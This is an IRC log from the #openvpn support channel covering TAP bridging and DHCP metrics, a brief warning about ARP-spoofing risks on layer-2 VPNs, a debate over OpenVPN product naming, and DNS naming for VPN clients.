13:38 < webczat> okay. my question still remains though. is it possible to enforce metrics on dhcp level or on linux level?
13:38 <+pekster> The concept of a metric is largely unused on modern Linux, though YMMV as it does have some use. These-days in effect the 'weight' has taken over and is used in dynamic routing (ie: OSPF and the like when combined with a routing daemon)
13:39 < webczat> so...
13:39 <+pekster> If you want to override the route, apply two /1 routes and be done with it
13:39 <+pekster> No mess, no fuss, and it's gauranteed to work everywhere, which is why it's recommended
13:39 < webczat> I'd like dhcpd to control this if at all possible
13:40 <+pekster> Then you fall into an advanced category and can consult the relevant dhcpd documentation to send the options to your client as you wish
13:40 < webczat> I'm currently sure the users that will be using it will be windows users, of course.
13:40 <+pekster> At that poing OpenVPN isn't responsible for anything but delivering Ethernet frames; if that's working, so is OpenVPN
13:40 <+pekster> point*
13:41 < webczat> it is not responsible for it, but I asked here because you know this specific case.
13:41 <+pekster> Problems with the metrics/routes/etc is an issue somewhere between your client OS and the DHCP server
13:41 <+pekster> Yes, I do, and it generally requires being clever with your dhcpd config
13:41 <+pekster> Mind the options, the use of classes, and possibly leverage the well-known tap adapter MAC prefix
13:42 < webczat> the thing is what metric is being set. I  tried to do it on a client settings level on windows, like in network connections, not on the dhcp.
13:42 < webczat> there is probably no metric option
13:42 <+pekster> What does using dhcpd and your "network connections" have to do with openvpn?
13:43 <+pekster> OpenVPN has _no_ invovlement in what metric a client applies there becuase you're _not_ setting the route with OpenVPN. Ergo this is not an openvpn problem
13:43 < webczat> nothing directly. as I sait, you are just familiar with openvpn itself that may help in theory (sometimes)
13:43 <+pekster> Yes, and we're familiar enough with this type of question (comes up about 1/wk, give or take) that we discourage it
13:43 <+pekster> If you want to do it anyway, you fall into a category where you need to know enough about what you're doing to solve the components outside of VPN yourself
13:44 <+pekster> My prior hints should help
13:44 < webczat> I'm actually learning.
13:44 < webczat> :
13:46 < webczat> I know it's discouraged, but actually why? because it's too complex, or because it has direct disadvantages?
13:47 <+pekster> Both, especially when people try to "use a pre-existing DHCP server" for "convenience" and then get frustrated when gateways compete with each other
13:47 < webczat> As I sait, I'm trying to make it so that it will not compete. I succeeded partially as it seems
13:47 <+pekster> People assume bridging is easier, when it requires OS/distro-specific bridge setup, no inherent L3 protection against clients using arbitrary IPs or perform L2 attacks (ARP posioning, etc) and involves more setup
13:48 <+pekster> Those are just 3 reasons we don't recommend it
13:49 < webczat> using arbitrary ips... actually how do you protect from using arbitrary ips in normal cases?
13:49 <+pekster> OpenVPN strictly disallows it
13:50 <+pekster> Well, see --iroute to allow it, but it must be enabled
13:50 -!- dazo is now known as dazo_afk
13:50 <+pekster> (that's intended for LANs behind a client, but can be used for arbitrary secondary IP assignment too by clever use)
13:51 <+pekster> Again: if you want an L2 VPN OpenVPN gives it to you with all the implications of having a "really long virtual Ethernet cable." Since you're so set on wanting that, I assume you have good reasons and won't waste time talking you out of them
13:51 <+pekster> You have the resources; if dhcpd is the problem, I suggest consulting their docs and relevant mailing-lists and the like
13:51 < webczat> it works for me. actually can't you say that client xyz is only alloved to use a specific mac address?
13:51 <+pekster> No
13:52 <+pekster> Not with openvpn. Go use your distro tools to firewall like you would with a "Really Long Ethernet Cable"
13:52 < webczat> yeah
13:52 <+pekster> Think of openvpn as a router. It's got cool security/crypto widgets, but it's really just a router, or in tap mode, a switch
13:53 <+pekster> If you want an "L3 aware, firewalling switch", then it's up to you to add in the "L3 aware" and "firewalling" part
13:53 < webczat> actually this switch could in theory bind a mac to cn. it's not about allowing or denying some macs, more about preventing a situation where client1 uses mac of client2 because he's very intelligent and wants to be impolite.
13:53 <+pekster> openvpn does not filter by MAC, no
13:53 <+pekster> Don't pretend it does
13:53 <+pekster> If you want that, go use a tool for that, like ebtables on Linux
13:54 <+pekster> #Netfilter might be more help
13:54 < webczat> is it possible? I think scripts are not given the mac address, hm? except the address learning one
13:54 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Quit: Konversation terminated!]
13:54 <+pekster> Right
13:54 <+pekster> manpage reference (and IIRC quicklink) at: !scripts
13:55 <+pekster> There again it's "up to you to know what you need and do it outside of openvpn," possibly by using a script trigger
13:56 < webczat> ee actually: if you will prevent the wrong mac address from being added using the script, what will happen? will the client be locked up, thrown away or what? this is a strictly openvpn related question
13:56 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
13:56 < webczat> the learn script can prevent a mac from being added
13:57 < webczat> and it gets a mac and cn too so
13:58 <+pekster> Yup, --learn-address is pretty explicit about operation
13:59 <+pekster> However, that's the MAC _only_
13:59 < webczat> yes. and let's assume the client "stupid" connect. if I'll cause te requested mac address from being added, what will happen?
13:59 -!- keithzg [~quassel@184.70.164.246] has joined #openvpn
13:59 <+pekster> L2 ARP cache posioning attacks are still possible
13:59 <+pekster> That's not the nasty problem (and not understanding it suggets, as I've been hinting, you really ought not to do this)
14:00 <+pekster> Let's say the client connects and is given by DHCP the IP 203.0.113.12. There's a server on the same /24 LAN at .100 that this evil client wants to spy on traffic from, and maybe even act as a MITM
14:00 <+pekster> All it does is send gratitious ARPs to both .100 and the LAN gateway telling each that the IP is really at the "real" MAC the VPN client has
14:00 <+pekster> Both happily accept it (without fancy L2 firewalls in play) and boom, instant MITM
14:00 <+pekster> 1 MAC, so your --learn-address filtering won't do crap
14:01 <+pekster> Since you want tap so badly, you're an expert that apparently understands that already
14:01 <+pekster> You either 1) shouldn't be doing this. 2) understand the risks and trust your clients, or 3) understand the risks and plan to take effective mitigation tactics as required by your infra & security needs
14:01 < webczat> I know who will connect to the vpn ofor now
14:02 < webczat> so it's point 2, but also wanted to learn some things
14:03 < webczat> hmmm arptables....?
14:04 < obesd> arp
14:04 < obesd> insecure by design
14:04 <+pekster> L2 is in general unless secured with a shim layer like 802.1X
14:04 < obesd> so networking insecure by design
14:05 < webczat> of course. my last resort is certificate revocation. other things... I'll see them.
14:05 <+pekster> The Internet is obesd, but done properly you can get e2e+crypto and (used properly) be as close to absolutely sure the link is secure as possible
14:05 < obesd> well who designed that
14:05 < obesd> how dumb to design the internet as insecure by design
14:05 < obesd> lol
14:06 < debbie10t> insecure by design so you can sell overpriced security products ;)
14:06 < obesd> so that was their plan
14:07 < obesd> maybe darpa came up with the internet and was thinking "damn, how can we collect more intel"
14:07 < debbie10t> same plan since the egyptians
14:07 < obesd> and out of that advanced research project, the internet was born
14:07 < debbie10t> ta-da!
14:08 < obesd> lol
14:08 < obesd> i joke
14:08 < debbie10t> me2
14:08 < webczat> okay. anyway I trust my clients in general, but want some enforcements at the same time
14:09 < obesd> hmm would some kind of static arp be useful
14:10 < obesd> do all the clients come out on the same interface ?
14:10 < obesd> hard to static arp their interface then
14:11 < obesd> <pekster> People assume bridging is easier
14:11 < obesd> pekster: i assume bridging is lame and use L3 and firewalling
14:12 < debbie10t> "so you can sell overpriced security products ;)" present company excepted...
14:13 <+pekster> FOSS isn't generally sold, though paid support, configuration, and maintenance can be
14:13 <+pekster> "technically" you can sell FOSS software too, but the customer would be under no legal oblication to keep the source to themselves
14:13 <+pekster> obligation*
14:15 < webczat> I would not say it's bridging in my ase, I don't have any bridge set up
14:16 <+pekster> L2: so viruses on 1 VPN client can go infect the other VPN client
14:16 -!- klein [~klein@unaffiliated/klein] has quit [Read error: Operation timed out]
14:16 <+pekster> It's not a bug: it's a feature!
14:17 <+pekster> In case you missed the obvious from earlier: !tunortap and !whybridge are worth reading
14:21 < webczat> yeah :D
14:21 < webczat> I wanted things like broadcast/netbios, multicast to function. it will not work over tun, will it?
14:22 <+pekster> Nope
14:22 <+pekster> mutlicast won't really do what you expect anyway without a multicast daemon, like pimd or the like
14:23 < webczat> :) it's for learning purposes too. wanted l2, I have l2. with all it's problems. I want to correctly configure it, but of course it may give some interesting problems
14:23 < webczat> multicast will work if I'm sending over vpn, not outside
14:26 < webczat> over the link
14:28 -!- Denial [Denial@2.223.161.125] has quit []
14:30 < EugeneKay> You can sell FOSS if you find a stupid enough client
14:30 < EugeneKay> Eg, Red Hat's business model
14:39 -!- webczat [~webczat@185-25-149-178.greendata.pl] has quit [Quit: ChatZilla 0.9.90.1 [Firefox 25.0.1/20131112160018]]
14:44 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
14:51 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has quit [Quit: WeeChat 0.4.1]
14:52 -!- peper [~peper@gentoo/developer/peper] has joined #openvpn
15:30 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
15:31 -!- akurilin [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
15:31 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
15:33 -!- akurilin [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
15:33 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
15:34 -!- akurilin [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
15:35 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
15:35 -!- debbie10t [~ma1com10t@host-92-20-13-251.as13285.net] has left #openvpn []
15:36 -!- akurilin [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
15:37 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
15:38 -!- akurilin [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
15:39 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
15:40 -!- akurilin [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
15:40 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
15:42 -!- akurilin [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
15:42 < Lope> how does the speed of UDP compare to TCP? I know its "faster" but what does it mean scientifically? anyone have any numbers?
15:42 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
15:43 -!- akurilin [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
15:44 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
15:45 -!- akurilin [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
15:46 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
15:46 -!- bytesaber [~bytesaber@174-126-75-160.cpe.cableone.net] has left #openvpn ["Leaving"]
15:47 -!- akurilin [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
15:48 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
15:49 -!- akurilin [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
15:49 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
15:50 -!- akurilin [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
15:51 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
15:52 -!- akurilin [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
15:53 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
15:54 -!- akurilin [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
15:55 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
15:57 -!- akurilin [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
15:57 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
15:59 -!- akurilin [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
15:59 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
16:00 -!- akurilin [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
16:01 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
16:03 -!- akurilin [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
16:03 -!- u0m3__ [~u0m3@92.80.74.24] has joined #openvpn
16:03 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
16:05 -!- akurilin [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
16:05 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:05 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
16:06 -!- u0m3_ [~u0m3@92.80.74.24] has quit [Ping timeout: 260 seconds]
16:07 -!- akurilin [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
16:07 -!- abradley [~adam@64-132-116-2.static.twtelecom.net] has quit [Ping timeout: 245 seconds]
16:07 -!- akurilin2 [~akurilin@208.185.21.146] has joined #openvpn
16:08 -!- akurilin2 [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
16:09 -!- akurilin2 [~akurilin@208.185.21.146] has joined #openvpn
16:10 -!- akurilin2 [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
16:11 -!- akurilin2 [~akurilin@208.185.21.146] has joined #openvpn
16:12 -!- akurilin2 [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
16:12 -!- akurilin2 [~akurilin@208.185.21.146] has joined #openvpn
16:14 -!- akurilin2 [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
16:14 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
16:14 -!- akurilin2 [~akurilin@208.185.21.146] has joined #openvpn
16:16 -!- akurilin2 [~akurilin@208.185.21.146] has quit [Read error: Connection reset by peer]
16:16 -!- JesseC [~Chumba@wsip-98-175-20-126.br.br.cox.net] has joined #openvpn
16:16 -!- JesseC [~Chumba@wsip-98-175-20-126.br.br.cox.net] has quit [Excess Flood]
16:16 -!- akurilin2 [~akurilin@208.185.21.146] has joined #openvpn
16:16 -!- JesseC [~Chumba@wsip-98-175-20-126.br.br.cox.net] has joined #openvpn
16:17 -!- debbie10t [~ma1com10t@host-92-20-13-251.as13285.net] has joined #openvpn
16:18 -!- akurilin2 [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
16:18 < debbie10t> Hi - I just want to check with pekster - are you happy for this to remain
16:18 < debbie10t> https://forums.openvpn.net/topic14454.html
16:18 <@vpnHelper> Title: OpenVPN Support Forum OpenVPN ACCESS Server -vs- OpenVPN community edition : Access Server (at forums.openvpn.net)
16:18 -!- akurilin2 [~akurilin@208.185.21.146] has joined #openvpn
16:19 -!- akurilin2 [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
16:20 -!- akurilin2 [~akurilin@208.185.21.146] has joined #openvpn
16:21 -!- akurilin2 [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
16:22 -!- akurilin2 [~akurilin@208.185.21.146] has joined #openvpn
16:24 -!- akurilin2 [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
16:24 -!- akurilin2 [~akurilin@208.185.21.146] has joined #openvpn
16:26 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
16:26 -!- akurilin3 [~akurilin@208.185.21.146] has joined #openvpn
16:27 -!- akurilin2 [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
16:27 <+pekster> debbie10t: It's fine, although it's regurgitating the corp-inspired "Community Edition" tagline; I don't have an improvement for you offhand though
16:27 -!- akurilin3 [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
16:28 < debbie10t> OK - well if you feel like changing it that's fine but I didn't want to stamp too hard on anyones toes - thanks
16:28 -!- akurilin3 [~akurilin@208.185.21.146] has joined #openvpn
16:29 < debbie10t> I was thinking of putting "Real" OpenVPN but i chickened out
16:29 <+pekster> Nope, we've needed something obvious (that >=50% of people won't read anyway) to help explain the situation
16:29 <+pekster> I might just call it OpenVPN or GPL OpenVPN and put any clarification in parentheses or a clarification line below, I dunno
16:30 <+pekster> The quote above gives it enough context for now ;)
16:30 -!- akurilin3 [~akurilin@208.185.21.146] has quit [Max SendQ exceeded]
16:30 -!- mode/#openvpn [+o pekster] by ChanServ
16:30 -!- mode/#openvpn [+b *!~akurilin@208.185.21.146$##fix_your_connection] by pekster
16:30 -!- mode/#openvpn [-o pekster] by ChanServ
16:30 < debbie10t> just let me know - pm or on here when you decide - i am happy what ever you all decide
16:30 <+pekster> Yea, no worries. I might just forget about it too :)
16:30 <+pekster> I'm just not happy with OpenVPN becoming "Community Edition" just because corp is bad at marketing
16:31 <+pekster> It's Redhat/Fedora all over
16:31 < debbie10t> I can put the community edition in italics
16:31 <+pekster> (Imagine instead if Fedora Core was known as Redhat Enterprise Linux: Community Edition")
16:31 < debbie10t> rofl
16:32 < debbie10t> well - it's a line of surruptitious marketing "they" like .. so
16:32 <+pekster> That's basically what we have here, and it's confusing to users, especially becuase the GPL project does _not_ use the phrase "Community Edition" anywhere -- it's a nasty attempt by corp to strong-arm unwitting customers to their product
16:33 < debbie10t> i totally agree - i was going to put an addendum which said "Choose Wisely!"
16:33 <+pekster> And if that's what they as "Copyright Holders" want, so be it, but that really means we need to fork/rename, and I'm not sure that's in both development arms best interest. Then again, Fedora Project did fine with it
16:33 -!- suprsonic [~suprsonic@services.landonsanderson.com] has left #openvpn []
16:34 < debbie10t> how about OPEN!VPN
16:34 < debbie10t> nah .. doesn't work
16:35 < debbie10t> openvpn access server is like saying "open windows 8" .. surely we can campaign along those lines
16:36 <+pekster> AS is based on (and uses) GPL openvpn under the hood with commercially-developped wrappers; that's in stark contrast to the Connect client that isn't using any GPL code
16:36 < debbie10t> do they own the name openvpn community edition or can we beef that up
16:37 <+pekster> 'OpenVPN' is trademark OpenVPN Technologies, Inc. That's the copyright issue.
16:37 < debbie10t> so if they get pissed off they can just stop openvpn being used by anyone else ?
16:37 <+pekster> Sure. That's clearly not in anyone's best interest, but yes, it's legally allowed
16:37 < debbie10t> hmmm
16:37 <+pekster> That's what happened to Ethereal when they renamed to Wireshark
16:38  * debbie10t straps on a marketing cap
16:38 <+pekster> copyright holder refused to let the copyright live in the community and the community "forked" (basically a rename as the entire dev community moved to wireshark) and continued on
16:38 < debbie10t> wireshark is cool as ice
16:38 -!- Lope [~Lope@162.218.234.57] has quit [Ping timeout: 272 seconds]
16:39 <+pekster> https://en.wikipedia.org/wiki/Wireshark#History
16:39 <@vpnHelper> Title: Wireshark - Wikipedia, the free encyclopedia (at en.wikipedia.org)
16:40 < debbie10t> how about SharkVPN ;)
16:40 < debbie10t> in homor of wireshark
16:40 < debbie10t> honor*
16:41 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
16:41 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
16:42 < debbie10t> ViperVPN
16:43 <+pekster> The name is (to me) completely unimportant; namespace uniqueness is my issue
16:43 <+pekster> https://community.openvpn.net/openvpn/wiki/Topics-2013-ProductNamespaces
16:43 <@vpnHelper> Title: Topics-2013-ProductNamespaces – OpenVPN Community (at community.openvpn.net)
16:44 < debbie10t> there is already a "vyprvpn"
16:44 <+pekster> The focus on a "replacement" name is both premature and not really helpful, outside of tongue-in-cheek
16:45 < debbie10t> sure
16:46 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 260 seconds]
16:47 < debbie10t> I have a though - maybe one that has been aired before - but . . .
16:47 <+pekster> It was just poorly thought out. Commercial bugs are in the "community.openvpn.net" bugtracker; the forums with the image banner "Community Support Forums" house several commercial product forums. It's silly.
16:48 < debbie10t> how about we publish community v AS legue table of answered/solved posts
16:48 <+pekster> Constructive suggestions can probably be best added to the wiki page I linked
16:49 < debbie10t> just a wild idea .. at least to get the AS members posting a little more suport ,, if they actually intend using a forum for support
16:49 < debbie10t> ok - i can add that idea to the wiki page as an idea
16:51 -!- klein [~klein@187.85.182.32] has joined #openvpn
16:51 -!- klein [~klein@187.85.182.32] has quit [Changing host]
16:51 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
16:52 < debbie10t> basically - as soon as i can move a query to AS on the forum, that's it for me .. i don't bother after that .. it seems the AS team should try to recruit or coerce someone into at least maintaining thier side of the forum
16:52 < debbie10t> otherwise - we get blamed for not trying
16:53 < debbie10t> i already got one mouthful about it from a user - did not reply as moved it to AS
17:04 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
17:06 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Quit: calcifea]
17:10 <+pekster> I don't care who does what with the corp stuff; I'm just sick of the line being left blurred, and I get the feeling that was (or became) the intent, and it feels like being used
17:14 -!- kiyor [~kiyor@12.13.90.183] has joined #openvpn
17:19 < debbie10t> https://forums.openvpn.net/topic14454.html
17:19 <@vpnHelper> Title: OpenVPN Support Forum OpenVPN ACCESS Server -vs- OpenVPN community edition : Access Server (at forums.openvpn.net)
17:19 < debbie10t> chanaged it slightly - made more of the open source credentials
17:21 < debbie10t> there is no doubt whatsoever that corp copyrighted the name to poach unwary fools
17:22 <+pekster> No, copyright is part of the right of whoever created the software originally (James in this case.) He can do "whatever he wants with it. The problem is _today's_ clear attempt to "rename the GPL project" without proper coordination
17:24 < debbie10t> call it what you like its still the same end result - smoke n mirrors
17:26 <+pekster> bait-and-switch is a better way to look at it. The astute eye will notice the "Licensing" and "Pricing" links under the FAQ. The untrained eye won't
17:26 -!- Kuba [~jakub@unaffiliated/kuba] has quit [Ping timeout: 246 seconds]
17:27 < debbie10t> typical supermarketing .. big signs for the product they want to move stuff the things they don't in the back
17:27 < debbie10t> it seems to me like they have made it clear that unless "openvpn community" makes a split they are simply gonna do whatever they want
17:28 < debbie10t> although i agree with you 100% i don't think i can add anything useful other than moaning
17:28 <+pekster> Anyway, the rough outline on the site stuff is on that wiki
17:28 <+pekster> Add to it for the stuff that's currently undefined to continue the discussion in a beneficial way
17:29 < debbie10t> simple colour scheme would seem the most obvious
17:29 < debbie10t> go green for open
17:29 < debbie10t> for example
17:29 <+pekster> Ref the existing discussion notes (for the 3rd time)
17:30 <+pekster> Re-hashing what's already been duscussed is fairly pointless unless there's more to add
17:30 <+pekster> We have a wiki, and the CMS ("Joomla" product) has been defined as limited
17:30 < debbie10t> well - i don't have anything useful to add - sorry
17:30 < debbie10t> not at this time
17:36 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
17:44 -!- u0m3__ is now known as u0m3
17:45 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 260 seconds]
17:54 < debbie10t> It is not even possible to find that wiki pge
17:55 -!- bwallen [~brian@pool-72-86-34-19.clppva.fios.verizon.net] has quit [Remote host closed the connection]
17:59 < debbie10t> gah .. found it !!!
18:11 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
18:13 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
18:16 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 245 seconds]
18:23 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
18:32 -!- Mike3 [mad@mx.probie.nl] has joined #openvpn
18:32 -!- Fetch_ [fetch@gimel.cepheid.org] has joined #openvpn
18:33 -!- Kuba [~jakub@unaffiliated/kuba] has joined #openvpn
18:33 -!- Fetch [fetch@gimel.cepheid.org] has quit [Write error: Connection reset by peer]
18:33 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Ping timeout: 246 seconds]
18:33 -!- fred`` [fred@earthli.ng] has quit [Ping timeout: 246 seconds]
18:33 -!- Mike-- [mad@mx.probie.nl] has quit [Read error: Connection reset by peer]
18:35 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
18:35 -!- fred`` [fred@earthli.ng] has joined #openvpn
18:37 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
18:39 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
18:48 -!- roothorick [~roothoric@cpe-107-10-69-211.new.res.rr.com] has joined #openvpn
18:49 < roothorick> is there any way to integrate openvpn and dnsmasq? So that dnsmasq can resolve VPN clients by hostname, without hardcoding every client into dnsmasq.conf or hosts?
18:49 <+pekster> !dnsmasq
18:49 <@vpnHelper> "dnsmasq" is http://rob0.nodns4.us/dnsmasq.html for a writeup on how to handle DNS for lans shared with !route
18:51 < roothorick> it's not a true shared LAN though. The VPN and the real LAN are technically two separate networks with their own IP ranges, the VPN server acting also as gateway
18:52 < roothorick> and it's a tun network, so openvpn itself is the closest thing the VPN has to a DHCP authority
18:52 < rob0> you'd have to hard-code them or script something
18:52 < rob0> neither one is very difficult
18:54 < roothorick> I've thought about switching to tap and bridging, but I feel like I need the lower overhead. VPN clients tend to be on really dodgy connections, I need every edge I can get
18:55 < EugeneKay> Set up static addressing then have a
18:55 < EugeneKay> !beer
18:55 <@vpnHelper> "beer" is what's for dinner (and occasionally breakfast)
18:56 < roothorick> that's basically what I've been doing. I have a *.vpn.local list hardcoded in hosts
18:56 < roothorick> I guess I'll stick with it
18:56 < debbie10t> --tls-cipher .. is hardware support required for this option ? I have never been able to use a cipher with SHAxxx other than SHA with no xxx ?  (Beer for breakfast .. only when I stay up too late)
18:57 <+pekster> Don't use .local
18:57 < EugeneKay> Just stick it in a public zone. Nobody cares about your rfc1918 responses except idiot resolvers like opendns
18:57 <+pekster> It conflicts with mdns, so unles you intend to use mdns, don't use .local as a tld
18:57 <+pekster> Use anything else
18:57 < roothorick> pekster: and what should I use instead?
18:57 <+pekster> Anything else ;)
18:57 <+pekster> I've used .vpn in the past, but do whatever you want really
18:57 < EugeneKay> Yourdomain.com
18:57 < roothorick> I don't have a domain
18:57 < roothorick> this is a home network
18:57 <+pekster> .home or .vpn
18:57 < EugeneKay>  buy one?
18:57 <+pekster> Or .allmine, whatever you want
18:58 < roothorick> EugeneKay: for my house? Nah.
18:59 < roothorick> serious question though, it's my LAN, and it's addresses in my LAN. Why do I care about an mdns conflict?
18:59 <+pekster> Nothing wrong with using a subdomain of one you own either
18:59 <+pekster> roothorick: Becuase any device that does mdns on the VPN will have issues (f.ex: ubuntu)
19:00 < roothorick> the VPN isn't used for *any* DNS queries atm
19:00 <+pekster> What do you think is easier: using a _non_ .local domain, or disabling mdns on every such box you might ever VPN in in the future (think of ones you might not control, like a friend's or family members)
19:00 -!- s7r [~s7r@openvpn/user/s7r] has quit [Quit: Leaving]
19:00 <+pekster> I'm not going to argue with you; I'm telling you there's a potenetial conflict. Do what you want
19:00 <+pekster> If you like .local and don't mind the potential conflict, go for it
19:01 < roothorick> so it's something I need to think about if I want to make my LAN-DNS work with VPN clients
19:01 <+pekster> Yup, or ever run an mdns-aware box on the home LAN (assuming it uses the same tld)
19:01 < roothorick> uh
19:01 <+pekster> A former employer used .local, and it was a PITA for those of us that ran mdns-aware Unix-alike OSes (mostly just the IT folks)
19:01 < roothorick> I've never had issues with ubuntu-gnome on this LAN
19:02 < roothorick> maybe dnsmasq is responding to mdns as a workaround, I don't know
19:02 <+pekster> Could very well be
19:03 < roothorick> ...interesting, there is an "avahi-daemon" listening on 5353, what's this
19:03 <+pekster> mdns ;)
19:03 <+pekster> (in part)
19:04 <+pekster> ubuntu does all sorts of shit users don't even know :P. "It's a feature, not a bug!"
19:04 < roothorick> but this server is Debian...
19:04 <+pekster> Same diff in this case
19:04 <+pekster> Ubuntu is just downstream of debian, so anything debian does, ubuntu follows suit
19:05 < roothorick> honestly, I've been kinda pushed away from Linux on several fronts because of hardware incompatibilities
19:05 <+pekster> !bestos
19:05 <@vpnHelper> "bestos" is the best os for openvpn is the one you are most comfortable with
19:05 -!- xrosnight [~quassel@183.234.77.221] has joined #openvpn
19:05 <+pekster> OS bashing does no good here
19:06 < roothorick> I don't mean to bash
19:06 < roothorick> I miss gnome :(
19:06 <+pekster> Plenty of good choices, and lots of distributions with their own pros/cons
19:06 < roothorick> I've gotten used to win8 on my laptop, I'd slightly prefer win7 but I've gotten used to it
19:06 <+pekster> You've got at least 4 "popular" platforms (Windows/MacOS/BSD/Linux) and the last 2 have tons of distro choices
19:06 -!- xrosnight [~quassel@183.234.77.221] has quit [Changing host]
19:06 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
19:07 < roothorick> so what would it entail, if it's even possible, to make a (Win7/Win8) system resolve a pseudo-TLD through the VPN, but still use outside sources for general DNS?
19:08 < roothorick> or would I have to use the VPN for *all* DNS to make that work?
19:08 < EugeneKay> The latter
19:08 < roothorick> not worth it :(
19:08 < EugeneKay> Hence, get a real domain
19:08 <+pekster> Some clever use of dnsmasq on clients could send the queries for that domain specifically to a DNS server run by the openVPN server
19:08 <+pekster> That's what the !dnsmasq doc discusses
19:08 < roothorick> what. No. I'm not gonna publicly publish private, NAT'd IPs.
19:09 < roothorick> pekster: but Windows?
19:09 <+pekster> Why not? If it's in a unique subdomain or zone what's the drawback?
19:09 < roothorick> right now ALL my clients are Win7 or 8
19:09 < roothorick> I had some Android for a while but I never really used it so when I wiped those devices I never set it back up
19:09 <+pekster> So go buy a Windows Server branded OS ($$$ to $$$$) and run a Windows DNS Server package
19:09 < EugeneKay> Nobody cares about your internal ips
19:09 <+pekster> ##windows can help
19:10 <+pekster> Or use free solutions ($0, plus a bit of time.) Or decide to do neither
19:10 < roothorick> can openvpn push static hostname/IP pairs a la /etc/hosts?
19:10 <+pekster> "push" hostnames? No
19:10 <+pekster> !static
19:10 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
19:10 < EugeneKay> Maybe you really want
19:10 < EugeneKay> !wins
19:10 <@vpnHelper> "wins" is http://oreilly.com/catalog/samba/chapter/book/ch07_03.html is a good link for seeing how to run WINS on samba
19:11 < roothorick> I thought NMB/SMB was severely limited in tun mode because broadcasting doesn't work
19:11 < roothorick> i.e. it only worked if you explicitly typed in the IP
19:11 <+pekster> SMB is OSI L3 and works fine
19:11 < EugeneKay> Hence wins
